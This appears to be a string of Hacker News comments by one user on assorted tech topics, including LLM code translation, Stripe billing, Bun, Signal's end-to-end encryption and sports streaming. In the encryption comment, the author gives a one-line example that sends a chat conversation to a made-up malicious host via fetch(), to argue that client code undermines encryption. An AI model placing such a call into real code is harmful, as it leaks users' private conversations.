parhamn

Using Cursor to refactor the unsafe code is quite a different task than using an LLM to translate into safe rust. I was just curious how it would perform.

Interesting, this article and the comments make no mention of LLMs for the initial translation. Really surprising given that would be the first thing I'd reach for for a translation/porting task (though verification could get tricky).

Now I really wonder how a good model like Sonnet 4 would have performed.

This needs a way to match directories for changes in monorepos. E.g. run this linter only if there were changes in this directory.

Put it in there readme & description. It's a big selling point.

I think part of this is React folks think its a cardinal sin to invoke the dom apis directly. Sometimes it's just fine to capture a ref (and dare I say, query a component by a id) and do the work directly. In fact this is what most libraries that are "fast" and low-rerenders do (like the form ones).

Pro tip for macos/ios folks:

- Macos: Install https://selfcontrolapp.com/, add every website and their alternatives you know, set it to 24 hours. Really hard to bypass this even if you know networking stuff

- iOS: Enable downtime 24/7 ask someone else to set the password.

I'm down to about 35 minutes a day of mobile usage, and laptop usage is only work related things. You really need two or three days to clear your head of news feeds. After a few days you really just crave working.

(I'm in between a 24 hour session right now)

Hmm. I'm already considering switching our app to stripe only to ease billing reconciliation. Managing users who made in app purchases who want regular web access as well has been a pain.

I like this decision. But I also like that I can cancel all my IAP subs in the settings quickly. Maybe stripe could set up consumer accounts to do the same.

JS is web's (and "hip" developer's) python, and in many ways it is better. Also the tooling is getting a lot better (libraries, typescript, bundling, packaging, performance).

One thing I wonder that could be cool: when Bun has sufficient NodeJS compatibility the should ship bun --compile versions so you dont need node/npm on the system.

Then it's arguably a, "why not JS?"

There could be too-many-cooks in the AI research part of their work.

Also, I don't think Sama thinks like a typical large org managers. OpenAI has enough money to have all sorts of products/labs that are startup like. No reason to standby waiting for the research work.

I'm doubtful the AI bit is the hard/interesting part of this business (or the source of the failure).

The interesting part is getting enough people to use the product and want AI based shopping.

The "backend" feels very swappable. I don't feel like reading the indictment, but is there more to this story?

I'm sure its about the cookies/sessions but I do recall you can load cookies from another browser?

I might be biased by the products I'm building but it feels to me that function support is table stakes now? Are open source models are just missing the dataset to fine tune one?

Very few of the models supported on Groq/Together/Fireworks support function calling. And rarely the interesting ones (DeepSeek V3, large llamas, etc)

"I'd normally lie to you but," is not what's actually implied when "Honestly," is used conversationally. If you overthink things like this you're going to have a tough time communicating with people.

Depends on the setup and what your goals are. Anycast typically takes the shortest route based on topology. This is particularly nice when you use something like caddy (because of the huge plugin system, you can do lots of stuff directly on the edge) to build your own CDN by caching at the edge or go all in and use caddy-lua to build apps at the edge. Gluing together dns systems (health checks, proximity + edge nodes) can be similar but the benefits of being "edge" largely go away as soon as you add the extra hop to a different region server.

Noticed the object pooling doc, had me wondering: are there any plans to make packages like `sync` generic?

Does C(++) still not have a broadly used package manager? If not, that's mind blowing.

The header only fad seems to because of a lack of one? IIRC they're more costly compilation wise too.

Is this true? Wouldn't all the "site to markdown" type services be infringing then?

I think the magic of Grok's implementation of this is that they already have most of the websites cached (guessing via their twitter crawler) so it all feels very snappy. Bing/Brave search don't seem to offer that in their search apis. Does such a thing exist as a service?

My first thought was "who's still using CGI?" then I read the docs:

> Deprecated since version 3.11, will be removed in version 3.13

I'm still surprised no one in the golang world has put together a Django type framework. While I like the bring-your-own unixy philosophy of this stuff in the go world; I still really loved django for quick decent applications.

I almost find it worse. Using your analogy its akin to doing atomic simulations on the elevator cable quality, but the elevator car is missing a bottom/floor.

> This makes that entire goal moot

I agree. Perhaps it's why I find the discussions like nonce-lengths and randomness sources almost insane (in the sense of willfully missing the forrest from the trees). Intelligence agencies have managed to penetrate the most secretive and powerful organizations known to man. Why would one think Signal's supply chain is impervious? I'd assume the opposite.

> tl;dr: E2E prevents some types of attacks, and makes some others more expensive; but if a government is after you, you’re still toast.

This is sorta my point, lots of DC folks use Signal under the assumption they're protected from government snooping. Sometimes I feel like it could well have the opposite effect (via the selection bias of Signal users).

One thing I'm realizing more and more (I've been building an encrypted AI chat service which is powered by encrypted CRDTs) is that "E2E encryption" really requires the client to be built and verified by the end user. I mean end of the day you can put a one-line fetch/analytics-tracker/etc on the rendering side and everything your protocol claimed to do becomes useless. That even goes further to the OS that the rendering is done on.

The last bit adds an interesting facet, even if you manage to open source the client and manage to make it verifiably buildable by the user, you still need to distribute it on the iOS store. Anything can happen in the publish process. I use iOS as the example because its particularly tricky to load your own build of an application.

And then if you did that, you still need to do it all on the other side of the chat too, assuming its a multi party chat.

You can have every cute protocol known to man, best encryption algorithms on the wire, etc but end of the day its all trust.

I mention this because these days I worry more that using something like signal actually makes you a target for snooping under the false guise that you are in a totally secure environment. If I were a government agency with intent to snoop I'd focus my resources on Signal users, they have the most to hide.

Sometimes it all feels pointless (besides encrypted storage).

I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

Interesting, just checked out if mkcert (the popular way of doing this) supports it and found two issues:

https://github.com/FiloSottile/mkcert/issues/131

https://github.com/FiloSottile/mkcert/pull/113

Hopefully Filippo revisits this now that it's broadly supported.

A bit off topic, but I noticed get this weird feeling when my cursor changes style. Something between a "let go of [free] my cursor" and "I wonder what secondary state I accidentally activated". It creates a weird sense of distress. Might just be me.

Though I did find it cool how it inverts the underlying thing. I thought it was a text-clipping type css property but it seems to invert media too? Any ideas how thats done?

Who would Apple choose as their search provider even if Google didn't pay them? If they gave users a choice up-front I'm sure 99% would choose Google too. Can someone explain how this isn't a big deal for Google?

The conversation seems centered on Cloudflare and the broader piracy issue. The more interesting thing to me is that sports are in desperate need of their spotify/netflix moment. My current best guess is that this isn't possible because of existing longer term contracts they've had in place.

Currently streameast and such have the best UI for watching sports games and it's not even close. Casual/nascent fans don't want to pay $100 a month for announcer-less access to sideline camera feeds. I don't want to look up where every game is streaming that week. I don't want a membership to peacock or whatever to see this one game I'm sorta interested in. No I don't have cable anymore either. I don't care to understand how "blackouts" work. It goes on an on.

It seems maliciously bad. And their numbers are showing it. From Gen Z's low adoption rates, to lower rates of onboarding new fans and broadly reduced viewership in some sports like the NBA.

I don't know a single person who pirates music these days.

> I'm curious as to why would you think that?

Huh? From the Swagger site:

"The OpenAPI Specification defines a standard interface to RESTful APIs..."

From their OpenAI Initiative:

"The OpenAPI Specifications provide a formal standard for describing HTTP APIs"

Not sure I care to understand your POV more given this obvious bit was missed by you.